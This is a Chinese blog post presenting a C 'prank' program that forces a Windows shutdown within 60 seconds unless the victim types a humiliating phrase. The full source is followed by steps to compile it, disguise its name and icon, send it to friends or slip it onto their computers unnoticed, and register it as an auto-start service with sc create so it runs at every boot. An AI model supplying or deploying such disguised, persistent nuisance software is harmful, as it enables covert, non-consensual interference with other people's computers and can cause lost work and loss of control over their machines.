0
点赞
收藏
分享

微信扫一扫

【C语言】自动关机,如何与朋友快速友尽

Xin_So 2022-03-16 阅读 143
C语言的学习过程,我把它记录下来
让电脑在规定时间内关机,也可以用来整蛊
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
	char input[20] = { 0 };
	system("shutdown -s -t 60");            //设置关机时间为60秒,system引用stdlib.h
	again:
	printf("请注意,你的电脑将在1分钟后关机,输入:我只是一只猪 取消关机\n");
	scanf("%s",input);
	if (strcmp(input, "我只是一只猪") == 0)             //比较字符串,为真返回0,需引string.h
	{
		system("shutdown -a");              //取消关机
	}
	else
	{
		goto again;                    //输入错误跳转,可以用循环语句代替。
	}
		

	return 0;
}
我们把这份代码保存为exe文件,以vs2019为例,选择Release后ctrl+F5,然后到输出目录中找到Release文件夹,里面有一份后缀是exe的程序,这就是关机小程序了,我们可以改名字,并用诸如exe伪装器等小工具更改图标。
然后把它发给你的朋友们,嘿

在这里插入图片描述

当然你也可以趁朋友不注意把它放在对方的电脑里,然后通过SC命令等方式将程序设置成系统服务
这样电脑每次开机都会自动激活这个程序,不过要小心友尽
  • sc命令设置exe程序为系统服务的方法:首先以管理员的身份打开CDM命令提示符

  • 创建服务:sc create 服务名称 binPath= 路径 start= auto //注意=号后必须有空格

  • 删除服务:sc delete 服务名称

  • 举个栗子,我把关机程序重命名为zhu,放在D盘下

  • 创建:sc create zhu binPath= D:\zhu.exe start= auto

  • 删除:sc delete zhu

  • 然后可以通过控制面板 – 管理工具 – 服务找到zhu,来启动、关闭或设置开机自启动等

如果你的朋友找你PK,送你一张图↓

在这里插入图片描述

希望能和大家一起学习、进步,每一个关注和点赞都是我学习的动力,我也会回关回赞的,互相督促共同进步
欢迎各位大佬指导提携,感激不尽
举报

相关推荐

0 条评论